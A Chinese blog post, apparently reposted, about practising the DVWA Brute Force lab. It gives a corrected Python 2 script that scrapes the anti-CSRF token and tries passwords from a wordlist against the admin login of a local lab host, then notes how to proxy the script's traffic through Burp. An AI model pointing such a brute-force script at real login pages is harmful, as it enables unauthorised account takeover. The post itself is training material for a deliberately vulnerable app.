DVWA之Brute Force更新

admin 2023年12月14日13:55:35评论8 views字数 2071阅读6分54秒阅读模式

前言

今天又练习了一遍DVWA,发现了一些小问题。

问题一

在原文http://www.freebuf.com/articles/web/116437.html 中的python代码我重新运行了一遍,发现有错误。提示没有这个'input'的Type,所以我做了下修改就能正常运行了。
原先的user_token = soup.form.input.input.input.input["value"]
改成了user_token = soup.find_all("input")[3].get("value")# get the user_token
代码如下:

from bs4 import BeautifulSoup
import urllib2
header={        'Host': '192.168.59.127',
'Cache-Control': 'max-age=0',
'If-None-Match': "307-52156c6a290c0",
'If-Modified-Since': 'Mon, 05 Oct 2015 07:51:07 GMT',
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36',
'Accept': '*/*',
'Referer': 'http://192.168.59.127/dvwa/vulnerabilities/brute/index.php',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'security=high; PHPSESSID=4ac4tdpdn25suknveha54ml3i2'}
requrl = "http://192.168.59.127/dvwa/vulnerabilities/brute/"

def get_token(requrl,header):
    req = urllib2.Request(url=requrl, headers=header)
    response = urllib2.urlopen(req)
    print response.getcode(),
    the_page = response.read()
    print len(the_page)
    soup = BeautifulSoup(the_page, "html.parser")
    user_token = soup.find_all("input")[3].get("value")# get the user_token
    #user_token = soup.form.input.input.input.input["value"]  # get the user_token
    return user_token


user_token = get_token(requrl,header)
i=0
for line in open("pass.txt"):
requrl = "http://192.168.59.127/dvwa/vulnerabilities/brute/"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
i = i+1
print i,'admin',line.strip(),
user_token = get_token(requrl,header)
if (i == 10):
break

问题二

我在freebuf上面看到下面的评论说怎么在cmd运行,能在burp上面抓取到信息。
我原先想在pycharm上面运行,然后抓取,发现设置了http代理不行。
官方设置教程:http://www.jetbrains.com/help/pycharm/http-proxy.html
pycharm_http-proxy

后来想到了在cmd下面设置代理不就行了吗,参考了文章:
http://blog.csdn.net/rznice/article/details/50705451

成功实现了作者的burp抓取cmd的流量:
pycharm_http-proxy


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日13:55:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   DVWA之Brute Force更新https://cn-sec.com/archives/2298098.html

发表评论

匿名网友 填写信息